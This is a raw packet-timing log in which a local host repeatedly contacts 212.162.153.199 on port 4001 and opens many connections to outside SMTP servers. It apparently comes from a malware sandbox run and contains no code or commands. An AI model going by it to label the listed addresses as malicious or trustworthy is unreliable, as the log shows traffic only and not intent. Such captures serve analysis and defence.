May 19, 2024 17:27:53.328948975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.328957081 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:53.328984022 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:53.328988075 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.329024076 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.329090118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.329088926 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:53.329410076 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:53.329430103 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:53.329463959 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:53.329538107 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:27:53.329862118 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:53.329938889 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.330133915 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:53.332334995 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.332364082 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.332391024 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:53.332418919 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:53.332490921 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.332519054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.333333969 CEST	587	49825	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.333411932 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.333411932 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.334875107 CEST	587	49825	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.334928036 CEST	49825	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:53.334975958 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.334975958 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.336621046 CEST	587	49825	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.336653948 CEST	587	49825	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.336682081 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:53.336693048 CEST	49825	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:53.336709023 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:53.336715937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.336715937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.336736917 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:53.336761951 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.336765051 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:53.336791992 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.344377041 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:53.344404936 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:27:53.344432116 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.344458103 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.344465017 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:53.344549894 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.349256039 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:27:53.349436045 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.349462986 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.354882956 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:53.354980946 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.359961987 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.364856958 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:53.364862919 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:53.370305061 CEST	50065	465	192.168.2.4	217.160.233.82
May 19, 2024 17:27:53.379992962 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.379992962 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.380490065 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:53.380490065 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:53.380494118 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:53.380496025 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:53.380496025 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:53.380506992 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:53.384604931 CEST	465	50065	217.160.233.82	192.168.2.4
May 19, 2024 17:27:53.384784937 CEST	50065	465	192.168.2.4	217.160.233.82
May 19, 2024 17:27:53.384860039 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:53.384865999 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.389664888 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.394469023 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:53.394566059 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.396114111 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:53.399689913 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.418663025 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:53.418812037 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.424632072 CEST	50066	587	192.168.2.4	162.241.203.50
May 19, 2024 17:27:53.429742098 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.429877996 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:53.430023909 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:53.430144072 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:53.430207968 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:27:53.430308104 CEST	49831	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:53.430335045 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:53.430352926 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:53.430454969 CEST	50067	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:53.434829950 CEST	587	50066	162.241.203.50	192.168.2.4
May 19, 2024 17:27:53.434859991 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:53.434931993 CEST	50066	587	192.168.2.4	162.241.203.50
May 19, 2024 17:27:53.434974909 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.435036898 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.439779997 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:27:53.443001032 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:53.444664955 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:53.444694042 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:53.444721937 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:27:53.444749117 CEST	587	49831	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.444777012 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:27:53.444803953 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:27:53.444832087 CEST	587	50067	65.20.63.172	192.168.2.4
May 19, 2024 17:27:53.444886923 CEST	50067	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:53.445059061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.449551105 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.450114965 CEST	50068	465	192.168.2.4	52.101.194.0
May 19, 2024 17:27:53.454755068 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.454755068 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.458625078 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:53.459321976 CEST	465	50068	52.101.194.0	192.168.2.4
May 19, 2024 17:27:53.459538937 CEST	50068	465	192.168.2.4	52.101.194.0
May 19, 2024 17:27:53.459538937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.464139938 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:27:53.464242935 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.469046116 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.473913908 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.489984035 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:53.495122910 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:53.495152950 CEST	587	49947	194.153.145.104	192.168.2.4
May 19, 2024 17:27:53.495208025 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:53.495363951 CEST	49947	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.495363951 CEST	49947	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.495363951 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.495363951 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.495363951 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.495467901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.495503902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.501276970 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.501511097 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.505496979 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:53.507074118 CEST	587	49947	194.153.145.104	192.168.2.4
May 19, 2024 17:27:53.512916088 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.512943029 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.536823034 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:53.536850929 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:53.542078018 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:53.542108059 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:53.542135954 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:53.542190075 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:27:53.542313099 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.542313099 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.542314053 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.542314053 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.542423964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.542423964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.547039986 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.547553062 CEST	49866	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:53.547765017 CEST	50069	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.547914982 CEST	50070	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:53.548141003 CEST	50071	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:53.552062988 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:53.552257061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.552356005 CEST	49789	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:53.555344105 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.555394888 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.555430889 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:53.555541039 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.555541039 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.556195021 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:53.556267977 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:53.556297064 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.556297064 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.558330059 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:53.558420897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.558420897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.560592890 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:53.560652971 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:53.560686111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.562624931 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:53.562659025 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:53.562690020 CEST	587	49866	64.136.52.44	192.168.2.4
May 19, 2024 17:27:53.562715054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.562715054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.562716961 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:53.562752008 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.562796116 CEST	587	50069	194.153.145.104	192.168.2.4
May 19, 2024 17:27:53.562827110 CEST	587	50070	194.152.32.10	192.168.2.4
May 19, 2024 17:27:53.562856913 CEST	50069	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.562880039 CEST	50070	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:53.562879086 CEST	587	50071	104.22.65.144	192.168.2.4
May 19, 2024 17:27:53.562901974 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.562921047 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.562956095 CEST	50071	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:53.562961102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.567413092 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.567440987 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.572504997 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.572555065 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.572585106 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.583617926 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:53.583617926 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:53.583621979 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:53.584391117 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:27:53.588920116 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.593488932 CEST	587	49949	104.18.2.81	192.168.2.4
May 19, 2024 17:27:53.593554974 CEST	49949	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:53.593588114 CEST	49949	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:53.593724012 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.599236965 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:53.601030111 CEST	587	49950	104.18.2.81	192.168.2.4
May 19, 2024 17:27:53.601123095 CEST	49950	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:53.601175070 CEST	49950	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:53.601175070 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.605981112 CEST	587	49949	104.18.2.81	192.168.2.4
May 19, 2024 17:27:53.610708952 CEST	587	49950	104.18.2.81	192.168.2.4
May 19, 2024 17:27:53.657360077 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.657403946 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:27:53.657418966 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:27:53.657433033 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.657447100 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:53.657717943 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.657764912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.657764912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.657944918 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:53.658020973 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:53.658101082 CEST	49997	587	192.168.2.4	66.133.129.10
May 19, 2024 17:27:53.658216953 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:53.658515930 CEST	50072	587	192.168.2.4	74.125.200.26
May 19, 2024 17:27:53.658687115 CEST	50073	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:53.683233976 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:53.683775902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.683775902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.688162088 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:53.688257933 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:53.688411951 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.693339109 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:53.693394899 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.693425894 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:53.693455935 CEST	587	49997	66.133.129.10	192.168.2.4
May 19, 2024 17:27:53.693485975 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:53.693521023 CEST	587	50072	74.125.200.26	192.168.2.4
May 19, 2024 17:27:53.693552017 CEST	587	50073	41.193.157.227	192.168.2.4
May 19, 2024 17:27:53.693591118 CEST	50072	587	192.168.2.4	74.125.200.26
May 19, 2024 17:27:53.693605900 CEST	50073	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:53.693727970 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.693773985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.698251963 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.704058886 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.708642006 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:27:53.708659887 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:53.708661079 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:53.715087891 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:53.715342999 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.721452951 CEST	587	49866	64.136.52.44	192.168.2.4
May 19, 2024 17:27:53.721575975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.726438046 CEST	587	49831	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.726702929 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.726702929 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.726948023 CEST	50074	587	192.168.2.4	103.13.28.93
May 19, 2024 17:27:53.728861094 CEST	587	49831	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.728919029 CEST	49831	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:53.728964090 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.728964090 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.733726025 CEST	587	49831	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.733839989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.733840942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.738750935 CEST	587	49831	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.738821030 CEST	49831	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:53.738997936 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.743691921 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.743729115 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.743763924 CEST	587	50074	103.13.28.93	192.168.2.4
May 19, 2024 17:27:53.743927002 CEST	50074	587	192.168.2.4	103.13.28.93
May 19, 2024 17:27:53.748666048 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.748799086 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.748842955 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.755482912 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:53.761743069 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.761827946 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.761904955 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:53.761950970 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:53.761998892 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:53.762252092 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:27:53.762423038 CEST	50033	587	192.168.2.4	129.159.125.229
May 19, 2024 17:27:53.762510061 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:53.764986038 CEST	50075	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:53.765269041 CEST	50076	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:53.771095991 CEST	49866	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:53.798463106 CEST	587	49997	66.133.129.10	192.168.2.4
May 19, 2024 17:27:53.798582077 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.803474903 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.808235884 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:53.808267117 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:53.808296919 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:53.808326006 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:27:53.808355093 CEST	587	50033	129.159.125.229	192.168.2.4
May 19, 2024 17:27:53.808383942 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:53.808417082 CEST	587	50075	84.116.6.22	192.168.2.4
May 19, 2024 17:27:53.808446884 CEST	587	50076	104.22.65.144	192.168.2.4
May 19, 2024 17:27:53.808502913 CEST	50076	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:53.808537006 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.808603048 CEST	50075	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:53.808612108 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.816272974 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:27:53.816386938 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.820926905 CEST	587	50054	84.116.6.22	192.168.2.4
May 19, 2024 17:27:53.821026087 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.825723886 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.830446005 CEST	587	50063	38.111.141.32	192.168.2.4
May 19, 2024 17:27:53.830542088 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.835536003 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.849235058 CEST	49997	587	192.168.2.4	66.133.129.10
May 19, 2024 17:27:53.854321957 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.859411955 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.864943027 CEST	50054	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:53.865077972 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:27:53.869769096 CEST	587	49952	194.153.145.104	192.168.2.4
May 19, 2024 17:27:53.869803905 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.869844913 CEST	49952	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.869885921 CEST	49952	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.869914055 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.870059013 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:53.870281935 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:53.870345116 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:53.870399952 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:53.870454073 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:53.870507956 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:53.870737076 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:53.871967077 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.872068882 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:53.872127056 CEST	49909	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:53.876755953 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:27:53.876785994 CEST	587	49952	194.153.145.104	192.168.2.4
May 19, 2024 17:27:53.876816034 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:53.876844883 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:53.876851082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.876873970 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:53.876902103 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:53.876929998 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:53.880486012 CEST	50063	587	192.168.2.4	38.111.141.32
May 19, 2024 17:27:53.881582975 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:53.881611109 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:53.881640911 CEST	587	49953	188.114.96.3	192.168.2.4
May 19, 2024 17:27:53.881699085 CEST	49953	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:53.881746054 CEST	49953	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:53.881789923 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.882131100 CEST	50077	465	192.168.2.4	60.248.184.187
May 19, 2024 17:27:53.886518955 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:53.886548042 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:27:53.886575937 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:53.886791945 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.891603947 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.892096043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.892096996 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.896532059 CEST	587	49953	188.114.96.3	192.168.2.4
May 19, 2024 17:27:53.896588087 CEST	465	50077	60.248.184.187	192.168.2.4
May 19, 2024 17:27:53.896622896 CEST	587	49825	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.896653891 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:53.896653891 CEST	50077	465	192.168.2.4	60.248.184.187
May 19, 2024 17:27:53.896687031 CEST	587	49954	104.26.6.119	192.168.2.4
May 19, 2024 17:27:53.896734953 CEST	49954	587	192.168.2.4	104.26.6.119
